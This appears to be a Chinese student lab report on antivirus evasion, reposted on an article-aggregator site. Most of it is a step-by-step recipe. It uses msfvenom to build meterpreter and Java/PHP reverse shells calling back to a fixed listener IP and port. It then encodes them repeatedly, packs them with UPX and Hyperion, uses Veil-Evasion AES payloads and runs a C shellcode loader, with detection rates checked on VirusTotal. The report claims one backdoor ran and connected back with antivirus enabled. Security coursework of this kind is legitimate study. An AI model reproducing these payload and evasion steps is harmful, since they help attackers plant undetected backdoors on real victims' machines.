Exp3-免杀原理与实践
Posted 氧气2019
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Exp3-免杀原理与实践相关的知识,希望对你有一定的参考价值。
Exp3-免杀原理与实践
1 基础问题回答
- 1.1 杀软是如何检测出恶意代码的?
- 1.2 免杀是做什么?
- 1.3 免杀的基本方法有哪些?
- 1.4 开启杀软能绝对防止电脑中恶意代码吗?
2 实验环境
免杀测试平台:https://www.virustotal.com/
3 实践内容
3.1 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
3.1.1 检测实验2中生成的后门程序
3.1.2 编码一次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\\x00’ LHOST=172.30.7.176 LPORT=1227 -f exe > shell1.exe
发现一个奇妙的事情,不编码杀软还杀不出来,一编码大多数杀软就杀出来了,这里我有一个猜测,杀软检测的特征码是unicode_mixed编码器。还有一种可能,就是编码后恰好将原有的码编译成了可被杀软检测的特征码。
3.1.2 编码10次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -10 -b ‘\\x00’ LHOST=172.30.7.176 LPORT=1227 -f exe > shell10.exe
这里就验证了我们3.1.1的猜想,本身的反弹连接杀软是杀不出来的,在他编码后却可以被杀出来,所以,杀软检测的特征码是unicode_mixed编码器的机器码。
- -e选择编码器,-b是payload中需要去除的字符,该命令中为了使\'\\x00\'不出现在shellcode中,因为shellcode以\'\\x00\'为结束符,-i设置迭代次数
3.2 生成jar文件
JAR文件是一种归档文件,以ZIP格式构建,以.jar为文件扩展名。
msfvenom -p java/shell_reverse_tcp LHOST=172.30.7.176 LPORT=1227 -f jar > shell.jar
生成压缩包文件后检测率明显降低了,且有一些杀软都无法检测。
后续如果要自己写免杀,且我要使用jar格式的话,直接找上图中的杀毒软件哈哈哈哈哈哈哈
3.3 生成php文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=172.30.7.176 LPORT=1227 x> shell.php
检测率明显降低了很多
3.4 veil,加壳工具
3.4.1 veil
3.4.1.1 下载(其实先下载wine32会快点)
sudo apt-get install veil-evasion
下载成功后
cd /usr/share/veil/config
vim setup.sh
将250行左右的内容修改为 sudo git clone https://gitee.com/spears/VeilDependencies.git
修改成功后
veil
等待安装
3.4.1.2 使用
veil
use evasion 或者 use 1
use c/meterpreter/rev_tcp.py
set LHOST 172.30.7.176
set LPORT 1227
generate
输入文件名的时候信息量尽量全面,免得文件多了会混淆
输入list可以查看各种模式
3.4.2 加壳
upx shell10.exe -o shell10_upx.exe
加密过的代码信息熵太高,也会被查出来(信息密度太大),不过相比不加壳来说还是有点效果。
3.5 使用C + shellcode编程
3.5.1 生成c文件,得到机器码
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.7.176 LPORT=1227 -f c
3.5.2 补充代码shell_c.c(注意缩进,vim里调整更方便)
int main()
int (*func)() = (int(*)())buf;
func();
3.5.3 跨平台交叉编译
i686-w64-mingw32-g++ shell_c.c -o shell_c.exe
按照常理来说,c编译应该是会跟直接生成exe一样杀不出来才对,而这里却杀出来了,但是比编码要强一点,我在想会不会是因为编译平台的原因,虽然是跨平台交叉编译,但是在Linux端编译被记录下来了,就像这个例子:一个exe文件却在Linux平台编译,有点可疑。
3.6 通过组合应用各种技术实现恶意代码免杀
3.6.1 c+shellcode+Hyperion
3.6.1.1 下载Hyperion2.2
wget https://github.com/nullsecuritynet/tools/raw/master/binary/hyperion/release/Hyperion-2.2.zip
(如果拒绝连接:1、sudo vim /etc/hosts
2、添加一个条目 199.232.28.133 raw.githubusercontent.com)
下载Hyperion2.2
unzip Hyperion-2.2.zip
3.6.1.2修改makefile,make
vim Makefile
编译方法改成交叉编译i686-w64-mingw32-gcc
make
3.6.1.3 加壳
wine hyperion.exe -v shell_c.exe shell_c_hyperion.exe
注意要在一个文件夹内,最好是在Hyperion2.2文件夹内,要不然找不到运行的程序位置
3.6.2 python+aes_encrypt
3.6.2.1 打开veil,选择Evasion
veil
use 1
list##寻找palyload
3.6.2.2 使用aes_encrypt_py生成后门
use python/shellcode_inject/aes_encrypt.py
generate
选择2
这里的原理便是使用了数据加密的方式进行多次编译后门软件
3.7 附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功
实验体会与总结
在第一个此实验第一题编码中,发现一个奇妙的事情:不编码杀软还杀不出来,一编码大多数杀软就杀出来了,这里我有一个猜测,杀软检测的特征码是unicode_mixed编码器。还有一种可能,就是编码后恰好将原有的码编译成了可被杀软检测的特征码。编码十次后发现检测率惊人相似,只减少了一个。这就验证了我们的猜想了,就是杀的unicode_mixed的特征码。
以上是关于Exp3-免杀原理与实践的主要内容,如果未能解决你的问题,请参考以下文章